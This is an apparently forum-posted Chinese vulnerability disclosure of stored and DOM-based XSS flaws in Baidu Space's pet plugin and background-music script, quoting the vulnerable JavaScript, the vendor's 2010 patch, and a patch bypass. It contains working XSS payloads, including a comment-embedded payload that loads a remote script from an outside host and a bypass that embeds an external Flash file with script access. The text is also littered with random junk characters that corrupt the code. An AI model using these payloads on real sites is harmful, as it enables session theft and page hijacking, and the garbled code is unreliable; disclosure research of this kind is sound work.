百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. ; o3 G8 f0 O4 J0 @
6 v% j/ @# R$ R' v
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
8 m# L" |$ |* Y( n1 G, [3 ^* d2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
, f# D3 R9 Z+ b1 D6 F" Z6 _/ r" w1 |5 c6 G7 C9 J
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
& c$ z0 m( s" c+ Z其中BdUtil.insertWBR为
4 R9 ~( ]; I% _. J+ gfunction(text, step) { ( c# k* R4 E. X/ _6 Z K
var textarea = textAreaCache || getContainer(); 3 [: g* H+ n$ h1 W& H
if (!textarea) { 3 Z/ Y2 D) H, H
return text;
4 a$ z0 X, `0 A- L/ G( M }
: ?) D$ R0 g. m5 U textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
3 S# Q, N) U% d9 Q5 ~1 q$ E/ ]; j var string = textarea.value; ( r: j! a( ^1 O1 O% f: x9 w9 `! z- ]
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 9 U, U3 C, n! K( x& f, \1 [, b
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
3 R6 ?4 z) D# W3 d1 y7 Q e7 q return result;
, ?9 L! j9 g0 J0 M L- V1 a} 1 S; l2 p- }! G$ r \) c
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. ; u1 H5 T+ ?; W! _: W0 h" U7 ^
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
& `: o, n0 r! s$ |0 L $ w* z/ d# L7 P) }5 n6 Z$ L
二:creatbgmusic() Dom-Xss Bug
! G4 }2 x! @9 `. w- a2 C! g百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 - e% c5 N. Y2 r
9 b4 R0 `3 j* Y- {' J: H$ |( ]
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
, l5 P: Q4 d0 s4 V; {0 c/ x! u% f% S# ~. h0 b3 F
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
, C3 J7 R0 N/ c8 | //传入的murl赋值到bgmusic1和bgmusic2中 - v# f1 @8 J- n
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
" |4 c" p6 ^ h5 m- `/ _ var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
, W# m5 \4 I% P7 S4 Q- f# ^2 G7 w if (musicnum <= 1) { 8 j2 ^7 Y/ ]2 J
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; $ ? G) Z& H7 a; j! C" K8 V2 W' P
}
* P6 w1 S- V2 R k( u+ I6 P1 | bgmusic1 += "</OBJECT>";
5 b. a5 }; W. ]6 k var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 2 @( A( T! _) g+ a* `6 x- C7 N
if (musicnum <= 1) { 1 k+ j! a2 z: g0 C
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
7 L# G4 S$ l; n6 q: M }
! _; G, t. C9 i% s bgmusic2 += "> </EMBED>";
( a/ a4 n6 ?( y2 L var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
& K' K/ w% s! d- S4 Y6 _ var bgmus = detectWMP(); 3 E2 W3 @# [7 Y
if (functype == "FckMusicHelper") {
0 x2 W& c @% @, S4 A if (bgmus.installed) {
& C' ^# }1 a' M$ b. L/ m if (bgmus.type == "IE") { ' D4 u1 B4 A$ ]
return bgmusic1;
/ `% m1 C$ w. b# \! X } else if (bgmus.type == "NS") { ; R, P" f- Y$ r- n% ]
return bgmusic2; ! ]7 C8 P: j, b6 R" O
}
+ V0 D$ s% H, d3 s7 z } else { 1 k$ ?: ~/ G: e) F
return bgmusic3; # o* x9 u( F) m" i! T
} / F# Z2 Z+ L7 x% {4 W
} else { % U1 j: `' d/ f! f$ B
if (bgmus.installed) {
' Y, s ?/ X' d* o! s1 E: k$ W //document.write 直接输出bgmusic变量 导致xss
5 X3 j& O9 R% K& C& k0 Q( T9 V3 ] if (bgmus.type == "IE") { J" @2 _& N( Y7 W+ n; ]" q
document.write(bgmusic1);
& o! }$ |( l+ N; J8 C' \ L5 c } else if (bgmus.type == "NS") {
1 U( A8 D( ] J4 K R% `# w document.write(bgmusic2);
! m- E* v# T+ e7 m* d2 C }
+ _& u0 ]" m+ Q3 b! K* \ } else { , W/ K! E: ]: `7 G( @
document.write(bgmusic3); ; w: ^% S- n+ U! k: s
} & ]7 j! U6 D' I% ]$ l @6 j
return "";
/ g$ x! m# f' c/ l* F1 G5 d } ?$ G8 I& D4 g+ n
}
1 g4 @8 ]( y, ^5 A: \3 H; }6 Q5 g5 g- t7 y" |4 J
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: + G- M3 Z/ n1 a2 o$ u' o
" ~6 M& _/ m7 W0 ?: b5 N4 Q
function initBlogTextForFCK(){ ' o8 o$ X4 q! Z
//fck init music $ a* A+ H4 r1 u" ?7 f- n, b) M
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} + W: ^6 S4 I, t0 n
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
2 y- s* z! H9 A$ ]/ f# P, p2 p2 dvar isAutoPlay=true;
* X( v5 b0 @5 cfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
! r! Q) Z$ N% n% d4 r( {% r& w var img=imgBox; # q3 E2 V7 [; k6 Z. y9 z
if(img.getAttribute(’rel’)){ 1 @+ b8 w' C* c$ w/ _2 F
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc ! @ ?, Y( U) D4 [, k% G* e. ?
var musicDiv = document.createElement("SPAN");
6 K' s3 j4 ?2 t0 [* z, b var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] 7 u0 ^% S$ e3 q" b! o: i: E
4 s; E5 V% }; N v# v: ^9 z" ?8 } ..........................
6 S& Q; ^% k+ A" f s5 q4 D8 {( z3 l; \% @
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
) L2 A! D3 N: E- s: q1 w var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ; u# i+ ~5 r' M$ q3 L+ a
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 7 ?9 Q5 R s! f- g$ N: k& q
musicDiv.innerHTML=shtml; 2 d; g. p4 `+ s" Q; k
i--;n--;
K% Q! a' Y# W% U* x } $ y* L, W( z# I3 y; d B0 L
} ( Z! E% [0 t9 v/ Q
' y, k" J" C7 t+ Q7 @# O
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. 7 y+ S9 l; ^& l/ U* C" i) w
9 t9 P! f* X7 u9 W测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
' i1 M4 ~" w- k3 p# p- b( {% A! ?2 a! Z1 J- t! p2 }$ i/ l
等待官方补丁 : L8 j5 h5 r/ |; ~! P8 h( X
. z4 I; J" I0 |+ ?. C5 S. Rupdate 2010年5月13日
* w! m6 D9 j" A/ y9 Q# D3 n
- q; A( K/ }, J3 @# ~+ K官方补丁: - c# B0 Q8 p% n" a1 Q
3 j W2 |2 i! Q. tvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
7 r; _, l8 }2 j, h6 o$ [! D改为: # B' K1 a% i5 D8 ~. M: ]( [6 `
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); % {. q# D6 l# l! D) x) q2 i; p1 [
; o$ L- E/ h. D' |! \update 2010年5月13日 21:50:37 ' m: H6 I& U1 x9 J
* T5 o8 W, ?: d( z3 Y: N. U! a
补丁存在漏洞 没有过滤" 可以继续跨:
/ g- \; N9 Z5 S2 K# S8 {1 d/ A" M
, D4 m8 {) ` q' l$ |) mNEW POC:
( s9 p8 u/ s' Z. E# [1 ^( p
0 m" w8 T2 C0 W; |& z+ z<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" V# U0 W' I1 l% F
1 b9 }* t: t6 j3 l3 U; p
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
% q2 j; _" w; I% z. s X. z
, R0 y8 a$ `# ?- o2 x |